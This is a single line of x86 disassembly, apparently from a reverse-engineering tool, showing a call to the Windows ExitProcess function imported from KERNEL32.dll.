call dword [sym.imp.KERNEL32.dll_ExitProcess]